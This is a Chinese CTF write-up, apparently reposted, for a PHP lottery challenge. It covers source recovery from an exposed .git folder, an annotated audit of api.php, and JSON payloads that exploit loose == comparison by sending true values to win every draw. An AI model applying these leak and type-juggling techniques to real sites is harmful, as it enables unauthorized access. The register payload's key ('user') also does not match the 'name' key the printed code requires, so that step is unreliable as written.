CTF:lottery(代码审计|==比较绕过)
Posted luocodes
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTF:lottery(代码审计|==比较绕过)相关的知识,希望对你有一定的参考价值。
进入页面,发现按钮点了没有反应,切换页面都提示要先注册
发现注册不了,这时候查找了robots.txt文件,发现了.git文件夹
这是.git泄露了,使用GitHack把文件下载下来
经过查看发现这里面需要用到config.php文件和api.php文件
审计api.php代码:
<?php require_once(‘config.php‘); header(‘Content-Type: application/json‘); function response($resp){ die(json_encode($resp)); } function response_error($msg){ $result = [‘status‘=>‘error‘]; $result[‘msg‘] = $msg; response($result); } function require_keys($req, $keys){ //$data,[‘action‘] foreach ($keys as $key) { if(!array_key_exists($key, $req)){ // ‘action‘ , response_error(‘invalid request‘); } } } function require_registered(){//判断是否注册 if(!isset($_SESSION[‘name‘]) || !isset($_SESSION[‘money‘])){ response_error(‘register first‘); } } function require_min_money($min_money){ if(!isset($_SESSION[‘money‘])){ response_error(‘register first‘); } $money = $_SESSION[‘money‘]; if($money < 0){ $_SESSION = array(); session_destroy(); response_error(‘invalid negative money‘); } if($money < $min_money){ response_error(‘you don‘ have enough money‘); } } //要是post且CONTENT_TYPE不能为空并等于application/json if($_SERVER["REQUEST_METHOD"] != ‘POST‘ || !isset($_SERVER["CONTENT_TYPE"]) || $_SERVER["CONTENT_TYPE"] != ‘application/json‘){ response_error(‘please post json data‘); } //file_get_contents(‘php://input‘) :获取post数据, //json_decode解析成json,返回一个arrays $data = json_decode(file_get_contents(‘php://input‘), true); //json_last_error是读取上一次json错误的值 if(json_last_error() != JSON_ERROR_NONE){ response_error(‘invalid json‘); } //判断是否有传入的json中是否含有key值‘action‘ require_keys($data, [‘action‘]); /*随机数种子*/ function random_num(){ do { $byte = openssl_random_pseudo_bytes(10, $cstrong); //openssl_random_pseudo_bytes():生成一个伪随机字节串,10代表个数,$cstrong如果传递到该函数中,将会保存为一个 boolean 值来表明是否使用了“强加密”,如果被用于GPG和密码之类的将返回TRUE , 否则返回 FALSE $num = ord($byte);//获取byte中的第一个字节ascii码值 } while ($num >= 250); //ascii码最大为255,所以这里只能输出 0~249 if(!$cstrong){ response_error(‘server need be checked, tell admin‘); } $num /= 25; return strval(floor($num)); //将$num转换为字符串 | floor函数向下舍入为最接近的整数 //这里没有查到漏洞 } /*循环生成一个7位的随机数*/ function random_win_nums(){ $result = ‘‘; for($i=0; $i<7; $i++){ $result .= random_num(); } return $result; } /*购买赌注函数,这里有漏洞*/ function buy($req){ require_registered(); require_min_money(2); $money = $_SESSION[‘money‘]; $numbers = $req[‘numbers‘]; $win_numbers = random_win_nums(); $same_count = 0; for($i=0; $i<7; $i++){ if($numbers[$i] == $win_numbers[$i]){//==不能判断类型,这里有漏洞,可以传入true做对比,除了“0”都为true $same_count++; } } switch ($same_count) { case 2: $prize = 5; break; case 3: $prize = 20; break; case 4: $prize = 300; break; case 5: $prize = 1800; break; case 6: $prize = 200000; break; case 7: $prize = 5000000; break; default: $prize = 0; break; } $money += $prize - 2; $_SESSION[‘money‘] = $money; response([‘status‘=>‘ok‘,‘numbers‘=>$numbers, ‘win_numbers‘=>$win_numbers, ‘money‘=>$money, ‘prize‘=>$prize]); } /*获取flag函数*/ function flag($req){ global $flag; global $flag_price; require_registered(); $money = $_SESSION[‘money‘]; if($money < $flag_price){//当钱足够时才能获取flag response_error(‘you don‘ have enough money‘); } else { $money -= $flag_price; $_SESSION[‘money‘] = $money; $msg = ‘Here is your flag: ‘ . $flag; response([‘status‘=>‘ok‘,‘msg‘=>$msg, ‘money‘=>$money]); } } /*注册函数*/ function register($req){ $name = $req[‘name‘]; $_SESSION[‘name‘] = $name; $_SESSION[‘money‘] = 20; response([‘status‘=>‘ok‘]); } switch ($data[‘action‘]) { case ‘buy‘: require_keys($data, [‘numbers‘]); buy($data); break; case ‘flag‘: flag($data); break; case ‘register‘: require_keys($data, [‘name‘]); register($data); break; default: response_error(‘invalid request‘); break; }
经过审计代码后现在我们整理一下获取flag的思路:
1.注册用户
2.多次购买奖票(使money>=999000)
3.获取flag
1.构造payload注册用户
相关代码:
/*注册函数*/ function register($req){ $name = $req[‘name‘]; $_SESSION[‘name‘] = $name; $_SESSION[‘money‘] = 20; response([‘status‘=>‘ok‘]); }
POST /api.php 并传入json,使用burpsuite修改请求头
{"action":"register","user":"1"}
这时候我们发现注册成功了,成功的页面返回了一个cookie,这个cookie就相当于用户识别码,把cookie保存下来需要在步奏2-3中使用
2.构造payload多次购买奖票
相关代码:
$money = $_SESSION[‘money‘]; $numbers = $req[‘numbers‘];
我们在上次的界面中添加cookie之后,还需要修改json,加入numbers
我们经过代码审计得知有一个比较的漏洞,构造比较漏洞的json
{"action":"buy","numbers":[true,true,true,true,true,true,true]}
3.构造payload获取flag
当获取的money足够时提交获取flag的payload
以上是关于CTF:lottery(代码审计|==比较绕过)的主要内容,如果未能解决你的问题,请参考以下文章